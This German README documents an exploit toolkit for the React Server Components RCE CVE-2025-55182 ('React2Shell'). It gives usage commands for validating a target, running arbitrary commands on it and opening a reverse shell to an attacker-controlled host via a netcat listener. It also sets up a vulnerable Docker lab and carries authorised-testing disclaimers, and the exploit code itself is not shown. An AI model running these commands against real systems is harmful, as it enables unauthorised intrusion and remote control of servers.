
Ein einfaches Toolkit zur Überprüfung, Ausnutzung und Erlangung einer interaktiven Shell über die react2Shell Next.js RCE.
[!WARNING] Dieses Werkzeug wird nur für autorisierte Tests und Bildungszwecke bereitgestellt. Unautorisierter Netzwerkzugriff und Datenextraktion sind illegal. Die Benutzer sind dafür verantwortlich, dass sie vor der Nutzung dieses Werkzeugs in einem Netzwerk die entsprechende Autorisierung haben.
Dieses Repository enthält ein einfaches Toolkit zum Validieren, Ausnutzen und Erlangen einer interaktiven Shell über CVE-2025-55182, auch bekannt als React2Shell. Es handelt sich um eine kritische Remote-Codeausführungsschwachstelle (RCE) ohne Authentifizierung in React Server Components (RSC), die die Versionen 19.0.0, 19.1.0, 19.1.1 und 19.2.0 betrifft.
Die Schwachstelle beruht auf unsicherer Deserialisierung im Flight-Protokoll von React, die es nicht authentifizierten Angreifern ermöglicht, beliebigen Code auf anfälligen Servern auszuführen. Sie wurde am 3. Dezember 2025 offengelegt und hat einen CVSS-Score von 10,0 (Kritisch). Obwohl sie hauptsächlich React Server Components betrifft, hat sie Auswirkungen auf Frameworks wie Next.js, die RSC verwenden.
Hinweis: Dieses Toolkit ist nur für Bildungs- und Forschungszwecke bestimmt. Die unbefugte Ausnutzung von Schwachstellen ist illegal und unethisch. Verwenden Sie es verantwortungsbewusst und nur auf Systemen, die Ihnen gehören oder für deren Test Sie ausdrückliche Erlaubnis haben.
Weitere Details finden Sie in den offiziellen Advisories:
requests, argparse (Installation über pip install -r requirements.txt)git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
source CVE202555182Venv/bin/activate[.fish]
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
pip install -r requirements.txt
Das Hauptskript ist sploit.py. Führen Sie es mit den folgenden Optionen aus:
python sploit.py --help
--target <URL>: Die Ziel-URL (z. B. http://vulnerable-site.com).--mode <validate|sploit|shell>: Betriebsmodus.
validate: Schwachstelle prüfen ohne Ausnutzung.sploit: Einen benutzerdefinierten Befehl ausführen.shell: Eine interaktive Reverse-Shell einrichten.--command <CMD>: Auszuführender Befehl (erforderlich für den Modus sploit).--lhost <IP>: Lokaler Host für die Reverse-Shell (erforderlich für den Modus shell).--lport <PORT>: Lokaler Port für die Reverse-Shell (Standard: 4444).Schwachstelle validieren:
python sploit.py --target http://example.com --mode validate
Ausnutzung mit Befehlsausführung:
python sploit.py --target http://example.com --mode sploit --command "whoami"
Interaktive Shell erlangen:
Richten Sie zuerst einen Listener ein (z. B. nc -lvnp 4444), dann:
python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
Für technische Tiefgang:
{
"dependencies": {
"next": "14.3.0-canary.77",
"react": "19.0.0",
"react-dom": "19.0.0"
},
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start"
}
}
rm tsconfig.json
mkdir -p app
# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";
export default function RootLayout({
children,
}: {
children: React.ReactNode;
}) {
return (
<html lang="en">
<body>{children}</body>
</html>
);
}
echo "/* minimal css - required by Next.js */" > app/globals.css
cat > app/page.tsx << 'EOF'
export default function Home() {
return (
<main>
<h1>react2shell lab is running!</h1>
<p>Start sploiting → /api/vulnerable-endpoint</p>
</main>
);
}
FROM node:20-alpine
WORKDIR /app
# Copy only package files first (better caching)
COPY package*.json ./
# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps
# Copy the rest of the app
COPY . .
# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json
# Build the Next.js app
RUN npm run build
# Expose port
EXPOSE 3000
# Start the app
CMD ["npm", "start"]
docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell
Sie sind fertig. Der Container startet in <2 Sekunden und ist bereit für Prototype-Pollution → RCE-Ketten.
Optionaler Einzeiler zum jederzeitigen Löschen und Neustarten: bash
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell
Siehe AWS Security Blog für Bedrohungsinformationen.
Dieses Werkzeug wird "wie besehen" ohne Gewährleistung bereitgestellt. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Toolkit verursacht werden. Holen Sie immer eine Genehmigung ein, bevor Sie Schwachstellen testen.
Pull-Requests sind willkommen! Bei größeren Änderungen eröffnen Sie bitte zuerst ein Issue.
Dieses Projekt ist unter der MIT-Lizenz lizenziert - siehe die Datei LICENSE für Details.
